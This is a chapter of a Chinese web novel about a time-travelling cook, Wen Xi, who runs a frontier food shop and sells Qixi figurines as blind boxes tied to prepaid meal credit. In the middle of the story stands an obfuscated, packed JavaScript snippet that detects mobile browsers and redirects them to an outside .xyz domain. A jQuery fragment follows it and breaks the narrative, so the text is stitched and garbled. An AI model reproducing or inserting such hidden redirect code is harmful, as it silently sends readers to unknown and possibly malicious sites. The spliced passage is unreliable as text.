36. 乞巧佳节
作品:《靠美食在古代爆红了》 “谢大人,你怎得在这?”
谢丛今日是受邀来杨家的,在看到蛋挞的时候,就知道这是出自温禧的手。女席和男席隔得不远,谢丛从小耳力好,自然听到了后来送磨喝乐的一番。在温禧领赏告辞之后,他也借口不胜酒力先行离席了。
“杨大人请客,在席上看到你做的甜点和饮子,料想你来了。”
温禧听得此言,笑道:“谢大人也吃过了?味道如何?”
谢丛回忆了一下,道:“好吃,尤其是那饮子,之前只喝过咸味的,没想到甜味的倒也不错,尤其是显州这边喜欢奶制品的人多,若是铺开来卖,定会有人喜欢。”
温禧一直觉得甜点和饮子女性的受众比较多,没想到谢丛竟也喜欢,只是——“可惜牛乳的价贵,虽然比金陵那边要便宜些,但是也只有接了大单子才舍得做。”
谢丛点头,大晟不像鞑靼、蒙兀那边有着先天的草原优势,也很少会有老百姓用珍贵的地养牛放马,因此牛乳也是有钱人家才能享用得起的。但是显州因着开了互市的榷场,有些商人为着利也会去鞑靼那边交易,显州这边的奶制品相比南边也比较丰富,但是价格仍然不是普通百姓能承担的。
温禧继续说道:“不过喝牛乳对身体好,尤其是小孩子,多喝有益于长高。据说鞑靼那边无论男女都要比大晟人壮硕许多,许是吃多了肉、喝多了牛乳的关系。”
谢丛道是,随即放慢脚步,微微落在温禧身后半步,问道:“刚刚在席上听到各位夫人对你做的磨喝乐称赞有加,食铺现在还做这个?”
“七夕乞巧,家家户户都供奉磨喝乐,我找吴师傅定制了些,等明儿谢大人来铺子里就知道了。”温禧卖个关子。
“你的主意总是那么多。”谢丛道,温禧头上的银钗在阳光下闪着光,“我记得温兄之前也会做一些木制的小玩意。”
温禧搜罗下原身的记忆,对谢丛说:“大哥随阿爹,总是喜欢研究木作,不过大哥更热衷于墨道机关术。对了,谢大人有大哥的消息吗?”
谢丛摇头,又嘱咐温禧:“明儿过节,榷场也会开放,到时候人多事杂,千万要小心。”
温禧敏锐地感觉到什么,问道:“可是有什么事?”
“夏日将要过去,显州秋日短,很快就会冷起来。金人耐寒,北面或许又要不太平。”谢丛低声道,“显州地处边关,难免有多事之人,还是小心为上。”
温禧听谢丛这么一说顿时紧张起来,心中那丝挣银子的喜悦荡然无存,也打消了明天白日推着餐车到架了戏台的瓦子那边卖吃食的念想:“多谢谢大人提醒,显州这边又要不太平了?”
谢丛安慰道:“无需太过担忧。府衙有意联合卫所加强城内的防护,届时我会负责巡查与内城城防。”
温禧只能说:“有谢大人在,那我就放心了。”
两人边聊边走,不知不觉就到了金水街。已过饭点,铺子里没有食客,温禧邀谢丛进铺子喝茶,谢丛看看日头,婉拒道:“还要回卫所部署巡防的事,就不叨扰了。”
温禧笑眯眯地捏着帕子挥手道别,等谢丛的身影消失在巷子转角,她面上又紧张起来。一进门便看到温禔在柜台前面看铺子,悟空躺在柜台上呼呼大睡。
温禧撸了撸猫头,脸凑到悟空肚子上深嗅一口——嗯,顶级过肺!
撸了猫后,她叮嘱弟弟妹妹与孙苗苗,近日注意着点安全,尤其是生面孔。几人见温禧面色凝重,也郑重地应下了。
.
七夕这日,温记食铺好不热闹!
首先是温记重磅推出了磨喝乐“盲盒”,只要七月初七到初九这三日在店内消费满二百文,便能抽盲盒一次,也就是是各种款式的磨喝乐。温禧专门在食铺正门外放一个架子展示七款磨喝乐,有许多路过的娘子被这模样精巧的牛郎织女磨喝乐吸引进店。
七款磨喝乐都是站在一个圆形木片上,模样造型各有巧思:三款代表女子祈求心灵手巧的愿望,分别为月下穿针、织锦九霄、纤云弄巧,是织女纺纱织锦的模样;三款代表女子对感情的向往,分别为飞星传恨、喜开妆镜、金风玉露。最后一款也就是隐藏款,是牛郎织女鹊桥相会的样子,牛郎虽为普通的样式,但是织女的四肢与头部都能动,可以摆出简单的姿势,此款毫无疑问就叫鹊桥相会。
果然这七款形似后代人偶娃娃的磨喝乐一经摆出,就虏获了路过的娘子们的心。尤其是鹊桥相会,当孙苗苗小心翼翼摆动织女四肢时,流光溢彩的燕锦衬得织女栩栩如生。但是谁能一次吃二百文的饭呢?别担心,温记说了,店内可以先充值后消费。此为何意?便是将银钱先交到温记,换成收据,等来日拿着收据来吃饭销账即可。
听得此言,当即有一个穿着体面的小娘子上前要抽盲盒。
这时孙苗苗才说,这隐藏款仅有二十份,每一款都用木盒装着,选定了才能开盒来看,且不退不换,全凭运气。
那小娘子名叫何田田,犹豫了下,还是掏了银钱存上,拿到孙苗苗给的一个木牌牌,上书“壹号”,又在簿子上记了名字和充值金额。
只见何田田双手合十,嘴里含糊嘟囔了两句“保佑保佑”后,挑了四排左二的一个木盒,跟她一起的三个小娘子都睁大了眼睛看,其中一个说:“阿姊,选不到隐藏款,选到纤云弄巧也好,那身蓝色衣裙也漂亮的很。”
何田田打开盖子,拿出里面的织女磨喝乐,却是一款织锦九霄。
“啊?是这款……”何田田略显失望。
“这款也好看,你看这霞布。”
“要不我也去充值,再去抽一次!”
这时候温禧端着刚烤好的蛋挞出来,朗声道:“七夕特供甜点,大家尝一尝咯,甜而不腻,外酥里嫩,入口即化!”
何田田正怕自己充值的二百文花不了,当即领着几个小姐妹进了铺里,说:“这磨喝乐抽到了,饭自然也是要吃的,不然岂不是买椟还珠了?”
又转身对温禧说:“掌柜的,这蛋挞来四个,还有……”
温禧见这几位小娘子面生,笑着拿上菜单推荐:“小店平时午食做些卤肉和汤饼,不过今儿七夕,有特供的甜点,除了蛋挞还有夹心饼干、肉茸烤馒头,还有乌梅渴水、百味汤。晚食”温禧又一一将价格说了。
几个小娘子分别要了自己想吃的,就有一个按捺不住,也去门口充值抽盲盒。不一会儿外面传出一声惊叫——“隐藏款,真的有!”
门口瞬间热闹开了,有些怀疑隐藏款只是幌子的人也纷纷解囊充值。
温记之前的客户都是男性为主,如今七夕用了磨喝乐当引子,倒是吸引来不少女客,连在指挥使府见过的赵寒玉,也来温记找温禧了。
不过她可不是来参与活动的,而是想来买珍珠奶茶的方子,让自家厨子复刻。其实若不是温禧背后靠着指挥使府,赵寒玉也不必如此麻烦,直接找管家来威逼利诱一番即可,可谁让严夫人说,这温小娘子是杨家小郎君的好友呢?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338889|180862||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
温禧自然也明白赵寒玉是看在杨家的面子上才“屈尊”前来,听明赵寒玉来意后,没经过多少思考就同意了,两个十两的银饼子,除了珍珠奶茶的方子,还另外附赠了其延伸版,比如可以用时令的鲜花制成果酱后,加入牛乳、奶酥和茶汤,就是花奶茶等等。温禧还跟赵寒玉签了双向契约,若是赵寒玉日后兴起想做饮子铺,要聘温禧当“技术顾问”,若是温禧日后要开饮子铺,赵寒玉也将给她融资。
赵寒玉放好契约,笑道:“温小娘子年纪不大,经商头脑却是厉害,我就没这本事了喽。”
温禧只说夫人是富贵命云云,赵寒玉听得心里妥帖,乐呵呵地走了。
一连两日便赚了四十两!温禧只觉得仿似飘在云端一般不真实,她用旧衣裹着银饼子缠了几层放在樟木箱子里,仔细锁好了,又将箱子拖进顶天立地衣柜里藏好,这才一步三回头地去前铺招待客人了。
.
这两日女客格外多,温记的烤窑从来没这么忙过,连一些平日里在温记对付一口午饭的工吏都挤不进来,只能在店门口排队。排着排着觉得自己总归是要在温记吃的,不如充值二百文,抽一个磨喝乐,带回家让娘子或者闺女开心一番。
还有以张羡安、沈确、贺衡为首的老食客,虽然没有娘子与闺女,但是家里也有母亲与姊妹,也顺手充值了后,拿回去做个顺水人情。
甚至有拿自己多余的,换别人抽到的自己喜欢的款式;还有人收购他人手中自己喜欢的款式。据说一个工吏抽中了隐藏款,当下就被东城一个裁缝娘子一两银买走了。温禧感慨,无论古今,盲盒效应都不过时啊!
谢丛带队巡查至此时,还以为温记出了什么事,仔细看下来竟然是食客争相抢购,不由得勾起唇角,温禧总是有不同于常人的想法。嘱咐好莫风带队巡查这块时多留心温记,又让莫风替他去充值抽盲盒后,拿着一盒“金风玉露”领着人去辽水榷场巡查了。
新老客人齐发力,本来计划能抽三日的磨喝乐两日便消耗殆尽,温记也有了四十两的充值额。
“阿姊,咱们是不是发财了?”温禔边数钱边道。
温祐一针见血:“想啥呢?这些都是客人的预存款,以后来店里吃饭是无需付费的,相当于提前存进来了,不是咱们纯挣的。”
“那也是提前把客人招揽住了,日后他们定会先来咱们这儿吃饭,是不是?”温禔又道。
温祐点头道是,温禧和孙苗苗都夸她:“禔姐儿真聪明!”
温禔这才笑了,抱起旁边玩鸡毛球的悟空去后院玩去了。
孙苗苗盘了盘账,她用温禧教的“表格法”来记账,忧心道:“只是磨喝乐成本不低,加上工钱也赚不了多少。”
温禧解释道:“能保持不赔钱就行,这次活动是为了引来客流,咱们温记不能只靠一成不变的菜式赚钱,要时不时出点新鲜花样,才能一直保持热度,等知名度高了,客流量增多,自然有得赚。”
孙苗苗点头,又对温禧说:“不过我最近瞧着,那刘全时不时总往灶房里去,有次休息时间被我撞上了,还心虚得很。”
温禧倒是没发现过,只是万事小心为上,若是他起什么坏心思,做出些腌臜事来,坏了店里的名声就不好了,跟孙苗苗说不如辞退了重新招人。
“我看不如去买个人来,身契捏在手里更放心。”孙苗苗握着温禧的手说道。
温禧总感觉买人有些别扭,不过还是答应会考虑下。